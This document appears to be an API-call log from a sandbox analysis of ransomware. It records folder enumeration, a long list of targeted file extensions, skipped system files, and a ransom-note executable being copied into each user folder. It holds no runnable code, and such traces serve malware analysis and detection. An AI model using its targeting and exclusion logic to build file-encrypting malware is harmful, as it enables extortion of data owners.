	[0040.315] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0040.315] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned 50
	[0040.315] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms"
	[0040.315] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", dwFileAttributes=0x22) returned 1
	[0040.315] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0040.315] lstrlenW (lpString="Apollon865") returned 10
	[0040.315] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0040.315] lstrlenW (lpString=".dll") returned 4
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".dll") returned 1
	[0040.315] lstrlenW (lpString=".lnk") returned 4
	[0040.315] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".lnk") returned 1
	[0040.316] lstrlenW (lpString=".ini") returned 4
	[0040.316] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".ini") returned 1
	[0040.316] lstrlenW (lpString=".sys") returned 4
	[0040.316] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".sys") returned 1
	[0040.316] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0040.316] lstrlenW (lpString="bak") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0040.316] lstrlenW (lpString="ba_") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0040.316] lstrlenW (lpString="dbb") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0040.316] lstrlenW (lpString="vmdk") returned 4
	[0040.316] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1
	[0040.316] lstrlenW (lpString="rar") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0040.316] lstrlenW (lpString="zip") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0040.316] lstrlenW (lpString="tgz") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0040.316] lstrlenW (lpString="vbox") returned 4
	[0040.316] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1
	[0040.316] lstrlenW (lpString="vdi") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0040.316] lstrlenW (lpString="vhd") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0040.316] lstrlenW (lpString="vhdx") returned 4
	[0040.316] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1
	[0040.316] lstrlenW (lpString="avhd") returned 4
	[0040.316] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1
	[0040.316] lstrlenW (lpString="db") returned 2
	[0040.316] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0040.316] lstrlenW (lpString="db2") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0040.316] lstrlenW (lpString="db3") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0040.316] lstrlenW (lpString="dbf") returned 3
	[0040.316] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0040.316] lstrlenW (lpString="mdf") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0040.317] lstrlenW (lpString="mdb") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0040.317] lstrlenW (lpString="sql") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0040.317] lstrlenW (lpString="sqlite") returned 6
	[0040.317] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1
	[0040.317] lstrlenW (lpString="sqlite3") returned 7
	[0040.317] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1
	[0040.317] lstrlenW (lpString="sqlitedb") returned 8
	[0040.317] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1
	[0040.317] lstrlenW (lpString="xml") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0040.317] lstrlenW (lpString="$er") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0040.317] lstrlenW (lpString="4dd") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0040.317] lstrlenW (lpString="4dl") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0040.317] lstrlenW (lpString="^^^") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0040.317] lstrlenW (lpString="abs") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0040.317] lstrlenW (lpString="abx") returned 3
	[0040.317] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0040.317] lstrlenW (lpString="accdb") returned 5
	[0040.317] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1
	[0040.317] lstrlenW (lpString="accdc") returned 5
	[0040.317] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1
	[0040.317] lstrlenW (lpString="accde") returned 5
	[0040.317] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1
	[0040.317] lstrlenW (lpString="accdr") returned 5
	[0040.317] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1
	[0040.317] lstrlenW (lpString="accdt") returned 5
	[0040.317] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1
	[0040.317] lstrlenW (lpString="accdw") returned 5
	[0040.317] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1
	[0040.318] lstrlenW (lpString="accft") returned 5
	[0040.318] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1
	[0040.318] lstrlenW (lpString="adb") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0040.318] lstrlenW (lpString="adb") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0040.318] lstrlenW (lpString="ade") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0040.318] lstrlenW (lpString="adf") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0040.318] lstrlenW (lpString="adn") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0040.318] lstrlenW (lpString="adp") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0040.318] lstrlenW (lpString="alf") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0040.318] lstrlenW (lpString="ask") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0040.318] lstrlenW (lpString="btr") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0040.318] lstrlenW (lpString="cat") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0040.318] lstrlenW (lpString="cdb") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0040.318] lstrlenW (lpString="ckp") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0040.318] lstrlenW (lpString="cma") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0040.318] lstrlenW (lpString="cpd") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0040.318] lstrlenW (lpString="dacpac") returned 6
	[0040.318] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1
	[0040.318] lstrlenW (lpString="dad") returned 3
	[0040.318] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0040.318] lstrlenW (lpString="dadiagrams") returned 10
	[0040.318] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1
	[0040.318] lstrlenW (lpString="daschema") returned 8
	[0040.318] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1
	[0040.318] lstrlenW (lpString="db-journal") returned 10
	[0040.319] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1
	[0040.319] lstrlenW (lpString="db-shm") returned 6
	[0040.319] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1
	[0040.319] lstrlenW (lpString="db-wal") returned 6
	[0040.319] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1
	[0040.319] lstrlenW (lpString="dbc") returned 3
	[0040.319] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0040.319] lstrlenW (lpString="dbs") returned 3
	[0040.319] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0040.319] lstrlenW (lpString="dbt") returned 3
	[0040.319] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0040.319] lstrlenW (lpString="dbv") returned 3
	[0040.319] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0040.319] lstrlenW (lpString="dbx") returned 3
	[0040.319] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0040.319] lstrlenW (lpString="dcb") returned 3
	[0040.319] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0040.319] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0040.319] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms"
	[0040.319] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x22) returned 1
	[0040.319] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0040.319] lstrlenW (lpString="Apollon865") returned 10
	[0040.319] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0040.319] lstrlenW (lpString=".dll") returned 4
	[0040.319] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".dll") returned 1
	[0040.319] lstrlenW (lpString=".lnk") returned 4
	[0040.320] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".lnk") returned 1
	[0040.320] lstrlenW (lpString=".ini") returned 4
	[0040.320] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".ini") returned 1
	[0040.320] lstrlenW (lpString=".sys") returned 4
	[0040.320] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".sys") returned 1
	[0040.320] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0040.320] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games"
	[0040.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0040.320] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0040.320] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned 41
	[0040.320] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games"
	[0040.320] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.324] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30245a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.324] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.324] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.324] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.324] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30245a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.325] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.325] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.325] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.325] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.325] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0040.325] lstrlenW (lpString="desktop.ini") returned 11
	[0040.325] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned 43
	[0040.325] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.325] lstrlenW (lpString="desktop.ini") returned 11
	[0040.325] lstrlenW (lpString="Apollon865") returned 10
	[0040.325] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.325] lstrlenW (lpString=".dll") returned 4
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0040.325] lstrlenW (lpString=".lnk") returned 4
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0040.325] lstrlenW (lpString=".ini") returned 4
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0040.325] lstrlenW (lpString=".sys") returned 4
	[0040.325] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0040.325] lstrlenW (lpString="desktop.ini") returned 11
	[0040.325] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent"
	[0040.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcc78 | out: hHeap=0x580000) returned 1
	[0040.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0040.326] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned 36
	[0040.326] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent"
	[0040.326] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.326] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.331] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.331] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30245a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.331] GetLastError () returned 0x5
	[0040.331] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\* FindFirstFile error 5\r\n") returned 70
	[0040.331] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\* FindFirstFile error 5\r\n") returned 70
	[0040.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.331] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfff
	[0040.331] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x46, lpOverlapped=0x0) returned 1
	[0040.331] CloseHandle (hObject=0x154) returned 1
	[0040.334] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0040.334] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood"
	[0040.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcc20 | out: hHeap=0x580000) returned 1
	[0040.334] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0040.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned 39
	[0040.334] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood"
	[0040.334] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.334] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.340] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.340] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30245a70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.340] GetLastError () returned 0x5
	[0040.340] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\* FindFirstFile error 5\r\n") returned 73
	[0040.340] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\* FindFirstFile error 5\r\n") returned 73
	[0040.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.340] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1045
	[0040.340] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x49, lpOverlapped=0x0) returned 1
	[0040.340] CloseHandle (hObject=0x14c) returned 1
	[0040.341] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0040.341] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures"
	[0040.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcbc8 | out: hHeap=0x580000) returned 1
	[0040.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0040.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 38
	[0040.341] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures"
	[0040.341] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.341] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.346] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.346] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3026bbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3026bbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.346] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.346] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.346] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.346] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3026bbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3026bbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.346] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.346] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.346] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.346] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.346] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5451070, ftCreationTime.dwHighDateTime=0x1d4cc6f, ftLastAccessTime.dwLowDateTime=0xf1329bc0, ftLastAccessTime.dwHighDateTime=0x1d4d2e0, ftLastWriteTime.dwLowDateTime=0xf1329bc0, ftLastWriteTime.dwHighDateTime=0x1d4d2e0, nFileSizeHigh=0x0, nFileSizeLow=0x770f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0wYzxz5EQs a.jpg", cAlternateFileName="0WYZXZ~1.JPG")) returned 1
	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="Apollon865.txt.exe") returned -1
